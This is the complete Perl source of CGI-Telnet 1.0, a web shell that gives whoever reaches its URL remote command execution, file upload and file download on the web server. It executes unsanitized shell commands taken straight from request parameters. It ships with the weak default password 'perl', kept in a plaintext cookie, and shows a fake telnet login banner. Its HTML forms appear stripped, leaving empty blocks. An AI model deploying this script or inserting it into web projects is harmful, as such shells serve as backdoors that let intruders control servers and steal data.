CGI-Telnet Version 1.0

#!/usr/bin/perl -w
#------------------------------------------------------------------------------
# Copyright and Licence
#------------------------------------------------------------------------------
# CGI-Telnet Version 1.0 for NT and Unix : Run Commands on your Web Server
#
# Copyright (C) 2001 Rohitab Batra
# Permission is granted to use, distribute and modify this script so long
# as this copyright notice is left intact. If you make changes to the script
# please document them and inform me. If you would like any changes to be made
# in this script, you can e-mail me.
#
# Author: Rohitab Batra
# Author e-mail: rohitab@rohitab.com
# Author Homepage: http://www.rohitab.com/
# Script Homepage: http://www.rohitab.com/cgiscripts/cgitelnet.html
# Product Support: http://www.rohitab.com/support/
# Discussion Forum: http://www.rohitab.com/discuss/
# Mailing List: http://www.rohitab.com/mlist/
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# Installation
#------------------------------------------------------------------------------
# To install this script
#
# 1. Modify the first line "#!/usr/bin/perl" to point to the correct path on
# your server. For most servers, you may not need to modify this.
# 2. Change the password in the Configuration section below.
# 3. If you're running the script under Windows NT, set $WinNT = 1 in the
# Configuration Section below.
# 4. Upload the script to a directory on your server which has permissions to
# execute CGI scripts. This is usually cgi-bin. Make sure that you upload
# the script in ASCII mode.
# 5. Change the permission (CHMOD) of the script to 755.
# 6. Open the script in your web browser. If you uploaded the script in
# cgi-bin, this should be http://www.yourserver.com/cgi-bin/cgitelnet.pl
# 7. Login using the password that you specified in Step 2.
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# Configuration: You need to change only $Password and $WinNT. The other
# values should work fine for most systems.
#------------------------------------------------------------------------------
$Password = "perl"; # Change this. You will need to enter this
# to login.

$WinNT = 0; # You need to change the value of this to 1 if
# you're running this script on a Windows NT
# machine. If you're running it on Unix, you
# can leave the value as it is.

$NTCmdSep = "&"; # This character is used to seperate 2 commands
# in a command line on Windows NT.

$UnixCmdSep = ";"; # This character is used to seperate 2 commands
# in a command line on Unix.

$CommandTimeoutDuration = 10; # Time in seconds after commands will be killed
# Don't set this to a very large value. This is
# useful for commands that may hang or that
# take very long to execute, like "find /".
# This is valid only on Unix servers. It is
# ignored on NT Servers.

$ShowDynamicOutput = 1; # If this is 1, then data is sent to the
# browser as soon as it is output, otherwise
# it is buffered and send when the command
# completes. This is useful for commands like
# ping, so that you can see the output as it
# is being generated.

# DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!

$CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);
$CmdPwd = ($WinNT ? "cd" : "pwd");
$PathSep = ($WinNT ? "\\" : "/");
$Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");

#------------------------------------------------------------------------------
# Reads the input sent by the browser and parses the input variables. It
# parses GET, POST and multipart/form-data that is used for uploading files.
# The filename is stored in $in{'f'} and the data is stored in $in{'filedata'}.
# Other variables can be accessed using $in{'var'}, where var is the name of
# the variable. Note: Most of the code in this function is taken from other CGI
# scripts.
#------------------------------------------------------------------------------
sub ReadParse
{
local (*in) = @_ if @_;
local ($i, $loc, $key, $val);

$MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;

if($ENV{'REQUEST_METHOD'} eq "GET")
{
$in = $ENV{'QUERY_STRING'};
}
elsif($ENV{'REQUEST_METHOD'} eq "POST")
{
binmode(STDIN) if $MultipartFormData & $WinNT;
read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
}

# handle file upload data
if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/)
{
$Boundary = '--'.$1; # please refer to RFC1867
@list = split(/$Boundary/, $in);
$HeaderBody = $list[1];
$HeaderBody =~ /\r\n\r\n|\n\n/;
$Header = $`;
$Body = $';
$Body =~ s/\r\n$//; # the last \r\n was put in by Netscape
$in{'filedata'} = $Body;
$Header =~ /filename=\"(.+)\"/;
$in{'f'} = $1;
$in{'f'} =~ s/\"//g;
$in{'f'} =~ s/\s//g;

# parse trailer
for($i=2; $list[$i]; $i++)
{
$list[$i] =~ s/^.+name=$//;
$list[$i] =~ /\"(\w+)\"/;
$key = $1;
$val = $';
$val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
$val =~ s/%(..)/pack("c", hex($1))/ge;
$in{$key} = $val;
}
}
else # standard post data (url encoded, not multipart)
{
@in = split(/&/, $in);
foreach $i (0 .. $#in)
{
$in[$i] =~ s/\+/ /g;
($key, $val) = split(/=/, $in[$i], 2);
$key =~ s/%(..)/pack("c", hex($1))/ge;
$val =~ s/%(..)/pack("c", hex($1))/ge;
$in{$key} .= "\0" if (defined($in{$key}));
$in{$key} .= $val;
}
}
}

#------------------------------------------------------------------------------
# Prints the HTML Page Header
# Argument 1: Form item name to which focus should be set
#------------------------------------------------------------------------------
sub PrintPageHeader
{
$EncodedCurrentDir = $CurrentDir;
$EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
print "Content-type: text/html\n\n";
print <<END;

CGI-Telnet Version 1.0<title>CGI-Telnet Version 1.0</title>
$HtmlMetaHeader

<body onLoad="document.f.@_.focus()" bgcolor="#000000" topmargin="0" leftmargin="0" marginwidth="0" marginheight="0">
<table border="1" width="100%" cellspacing="0" cellpadding="2">

<td bgcolor="#C2BFA5" bordercolor="#000080" align="center">
#
<td bgcolor="#000080">CGI-Telnet Version 1.0 - Connected to $ServerName

<td colspan="2" bgcolor="#C2BFA5">
<a href="$ScriptLocation?a=upload&d=$EncodedCurrentDir">Upload File</a> |
<a href="$ScriptLocation?a=download&d=$EncodedCurrentDir">Download File</a> |
<a href="$ScriptLocation?a=logout">Disconnect</a> |
<a href="http://www.rohitab.com/cgiscripts/cgitelnet.html">Help</a>



END
}

#------------------------------------------------------------------------------
# Prints the Login Screen
#------------------------------------------------------------------------------
sub PrintLoginScreen
{
$Message = q$<pre> _____ _____ _____ _____ _ _
/ __ \| __ \|_ _| |_ _| | | | |
| / \/| | \/ | | ______ | | ___ | | _ __ ___ | |_
| | | | __ | | |______| | | / _ \| || '_ \ / _ \| __|
| \__/\| |_\ \ _| |_ | | | __/| || | | || __/| |_
\____/ \____/ \___/ \_/ \___||_||_| |_| \___| \__| 1.0

 ______ � 2001, Rohitab Batra
.-" "-.
/ \
| |
|, .-. .-. ,|
| )(_o/ \o_)( |
|/ /\ \|
(@_ (_ ^^ _)
_ ) \_______\__|IIIIII|__/_______________________
 (_)@8@8{}<________|-\IIIIII/-|________________________>
)_/ \ /
(@ `--------`
W A R N I N G: Private Server</pre>
$;
#'
print <<END;
<code>
Trying $ServerName...

Connected to $ServerName

Escape character is ^]
<code>$Message
END
}

#------------------------------------------------------------------------------
# Prints the message that informs the user of a failed login
#------------------------------------------------------------------------------
sub PrintLoginFailedMessage
{
print <<END;
<code>

login: admin

password:

Login incorrect

</code>
END
}

#------------------------------------------------------------------------------
# Prints the HTML form for logging in
#------------------------------------------------------------------------------
sub PrintLoginForm
{
print <<END;
<code>

</code>
END
}

#------------------------------------------------------------------------------
# Prints the footer for the HTML Page
#------------------------------------------------------------------------------
sub PrintPageFooter
{
print "";
}

#------------------------------------------------------------------------------
# Retreives the values of all cookies. The cookies can be accesses using the
# variable $Cookies{''}
#------------------------------------------------------------------------------
sub GetCookies
{
@httpcookies = split(/; /,$ENV{'HTTP_COOKIE'});
foreach $cookie(@httpcookies)
{
($id, $val) = split(/=/, $cookie);
$Cookies{$id} = $val;
}
}

#------------------------------------------------------------------------------
# Prints the screen when the user logs out
#------------------------------------------------------------------------------
sub PrintLogoutScreen
{
print "<code>Connection closed by foreign host.

</code>";
}

#------------------------------------------------------------------------------
# Logs out the user and allows the user to login again
#------------------------------------------------------------------------------
sub PerformLogout
{
print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie
&PrintPageHeader("p");
&PrintLogoutScreen;
&PrintLoginScreen;
&PrintLoginForm;
&PrintPageFooter;
}

#------------------------------------------------------------------------------
# This function is called to login the user. If the password matches, it
# displays a page that allows the user to run commands. If the password doens't
# match or if no password is entered, it displays a form that allows the user
# to login
#------------------------------------------------------------------------------
sub PerformLogin
{
if($LoginPassword eq $Password) # password matched
{
print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";
&PrintPageHeader("c");
&PrintCommandLineInputForm;
&PrintPageFooter;
}
else # password didn't match
{
&PrintPageHeader("p");
&PrintLoginScreen;
if($LoginPassword ne "") # some password was entered
{
&PrintLoginFailedMessage;
}
&PrintLoginForm;
&PrintPageFooter;
}
}

#------------------------------------------------------------------------------
# Prints the HTML form that allows the user to enter commands
#------------------------------------------------------------------------------
sub PrintCommandLineInputForm
{
$Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
print <<END;
<code>

</code>
END
}

#------------------------------------------------------------------------------
# Prints the HTML form that allows the user to download files
#------------------------------------------------------------------------------
sub PrintFileDownloadForm
{
$Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
print <<END;
<code>

</code>
END
}

#------------------------------------------------------------------------------
# Prints the HTML form that allows the user to upload files
#------------------------------------------------------------------------------
sub PrintFileUploadForm
{
$Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
print <<END;
<code>

</code>
END
}

#------------------------------------------------------------------------------
# This function is called when the timeout for a command expires. We need to
# terminate the script immediately. This function is valid only on Unix. It is
# never called when the script is running on NT.
#------------------------------------------------------------------------------
sub CommandTimeout
{
if(!$WinNT)
{
alarm(0);
print <<END;
</xmp>
<code>
Command exceeded maximum time of $CommandTimeoutDuration second(s).

Killed it!
<code>
END
&PrintCommandLineInputForm;
&PrintPageFooter;
exit;
}
}

#------------------------------------------------------------------------------
# This function is called to execute commands. It displays the output of the
# command and allows the user to enter another command. The change directory
# command is handled differently. In this case, the new directory is stored in
# an internal variable and is used each time a command has to be executed. The
# output of the change directory command is not displayed to the users
# therefore error messages cannot be displayed.
#------------------------------------------------------------------------------
sub ExecuteCommand
{
if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command
{
# we change the directory internally. The output of the
# command is not displayed.

$OldDir = $CurrentDir;
$Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
chop($CurrentDir = `$Command`);
&PrintPageHeader("c");
$Prompt = $WinNT ? "$OldDir> " : "[admin\@$ServerName $OldDir]\$ ";
print "<code>$Prompt $RunCommand</code>";
}
else # some other command, display the output
{
&PrintPageHeader("c");
$Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
print "<code>$Prompt $RunCommand</code><xmp>";
$Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
if(!$WinNT)
{
$SIG{'ALRM'} = \&CommandTimeout;
alarm($CommandTimeoutDuration);
}
if($ShowDynamicOutput) # show output as it is generated
{
$|=1;
$Command .= " |";
open(CommandOutput, $Command);
while(<CommandOutput>)
{
$_ =~ s/(\n|\r\n)$//;
print "$_\n";
}
$|=0;
}
else # show output after command completes
{
print `$Command`;
}
if(!$WinNT)
{
alarm(0);
}
print "</xmp>";
}
&PrintCommandLineInputForm;
&PrintPageFooter;
}

#------------------------------------------------------------------------------
# This function displays the page that contains a link which allows the user
# to download the specified file. The page also contains a auto-refresh
# feature that starts the download automatically.
# Argument 1: Fully qualified filename of the file to be downloaded
#------------------------------------------------------------------------------
sub PrintDownloadLinkPage
{
local($FileUrl) = @_;
if(-e $FileUrl) # if the file exists
{
# encode the file link so we can send it to the browser
$FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
$DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";
$HtmlMetaHeader = "<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$DownloadLink\">";
&PrintPageHeader("c");
print <<END;
<code>
Sending File $TransferFile...

If the download does not start automatically,
<a href="$DownloadLink">Click Here</a>.
</code>
END
&PrintCommandLineInputForm;
&PrintPageFooter;
}
else # file doesn't exist
{
&PrintPageHeader("f");
print "<code>Failed to download $FileUrl: $!</code>";
&PrintFileDownloadForm;
&PrintPageFooter;
}
}

#------------------------------------------------------------------------------
# This function reads the specified file from the disk and sends it to the
# browser, so that it can be downloaded by the user.
# Argument 1: Fully qualified pathname of the file to be sent.
#------------------------------------------------------------------------------
sub SendFileToBrowser
{
local($SendFile) = @_;
if(open(SENDFILE, $SendFile)) # file opened for reading
{
if($WinNT)
{
binmode(SENDFILE);
binmode(STDOUT);
}
$FileSize = (stat($SendFile))[7];
($Filename = $SendFile) =~ m!([^/^\\]*)$!;
print "Content-Type: application/x-unknown\n";
print "Content-Length: $FileSize\n";
print "Content-Disposition: attachment; filename=$1\n\n";
print while(<SENDFILE>);
close(SENDFILE);
}
else # failed to open file
{
&PrintPageHeader("f");
print "<code>Failed to download $SendFile: $!</code>";
&PrintFileDownloadForm;
&PrintPageFooter;
}
}

#------------------------------------------------------------------------------
# This function is called when the user downloads a file. It displays a message
# to the user and provides a link through which the file can be downloaded.
# This function is also called when the user clicks on that link. In this case,
# the file is read and sent to the browser.
#------------------------------------------------------------------------------
sub BeginDownload
{
# get fully qualified path of the file to be downloaded
if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
(!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
{
$TargetFile = $TransferFile;
}
else # path is relative
{
chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
$TargetFile .= $PathSep.$TransferFile;
}

if($Options eq "go") # we have to send the file
{
&SendFileToBrowser($TargetFile);
}
else # we have to send only the link page
{
&PrintDownloadLinkPage($TargetFile);
}
}

#------------------------------------------------------------------------------
# This function is called when the user wants to upload a file. If the
# file is not specified, it displays a form allowing the user to specify a
# file, otherwise it starts the upload process.
#------------------------------------------------------------------------------
sub UploadFile
{
# if no file is specified, print the upload form again
if($TransferFile eq "")
{
&PrintPageHeader("f");
&PrintFileUploadForm;
&PrintPageFooter;
return;
}
&PrintPageHeader("c");

# start the uploading process
print "<code>Uploading $TransferFile to $CurrentDir...
";

# get the fullly qualified pathname of the file to be created
chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
$TransferFile =~ m!([^/^\\]*)$!;
$TargetName .= $PathSep.$1;

$TargetFileSize = length($in{'filedata'});
# if the file exists and we are not supposed to overwrite it
if(-e $TargetName && $Options ne "overwrite")
{
print "Failed: Destination file already exists.
";
}
else # file is not present
{
if(open(UPLOADFILE, ">$TargetName"))
{
binmode(UPLOADFILE) if $WinNT;
print UPLOADFILE $in{'filedata'};
close(UPLOADFILE);
print "Transfered $TargetFileSize Bytes.
";
print "File Path: $TargetName
";
}
else
{
print "Failed: $!
";
}
}
print "</code>";
&PrintCommandLineInputForm;
&PrintPageFooter;
}

#------------------------------------------------------------------------------
# This function is called when the user wants to download a file. If the
# filename is not specified, it displays a form allowing the user to specify a
# file, otherwise it displays a message to the user and provides a link
# through which the file can be downloaded.
#------------------------------------------------------------------------------
sub DownloadFile
{
# if no file is specified, print the download form again
if($TransferFile eq "")
{
&PrintPageHeader("f");
&PrintFileDownloadForm;
&PrintPageFooter;
return;
}

# get fully qualified path of the file to be downloaded
if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
(!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
{
$TargetFile = $TransferFile;
}
else # path is relative
{
chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
$TargetFile .= $PathSep.$TransferFile;
}

if($Options eq "go") # we have to send the file
{
&SendFileToBrowser($TargetFile);
}
else # we have to send only the link page
{
&PrintDownloadLinkPage($TargetFile);
}
}

#------------------------------------------------------------------------------
# Main Program - Execution Starts Here
#------------------------------------------------------------------------------
&ReadParse;
&GetCookies;

$ScriptLocation = $ENV{'SCRIPT_NAME'};
$ServerName = $ENV{'SERVER_NAME'};
$LoginPassword = $in{'p'};
$RunCommand = $in{'c'};
$TransferFile = $in{'f'};
$Options = $in{'o'};

$Action = $in{'a'};
$Action = "login" if($Action eq ""); # no action specified, use default

# get the directory in which the commands will be executed
$CurrentDir = $in{'d'};
chop($CurrentDir = `$CmdPwd`) if($CurrentDir eq "");

$LoggedIn = $Cookies{'SAVEDPWD'} eq $Password;

if($Action eq "login" || !$LoggedIn) # user needs/has to login
{
&PerformLogin;
}
elsif($Action eq "command") # user wants to run a command
{
&ExecuteCommand;
}
elsif($Action eq "upload") # user wants to upload a file
{
&UploadFile;
}
elsif($Action eq "download") # user wants to download a file
{
&DownloadFile;
}
elsif($Action eq "logout") # user wants to logout
{
&PerformLogout;
}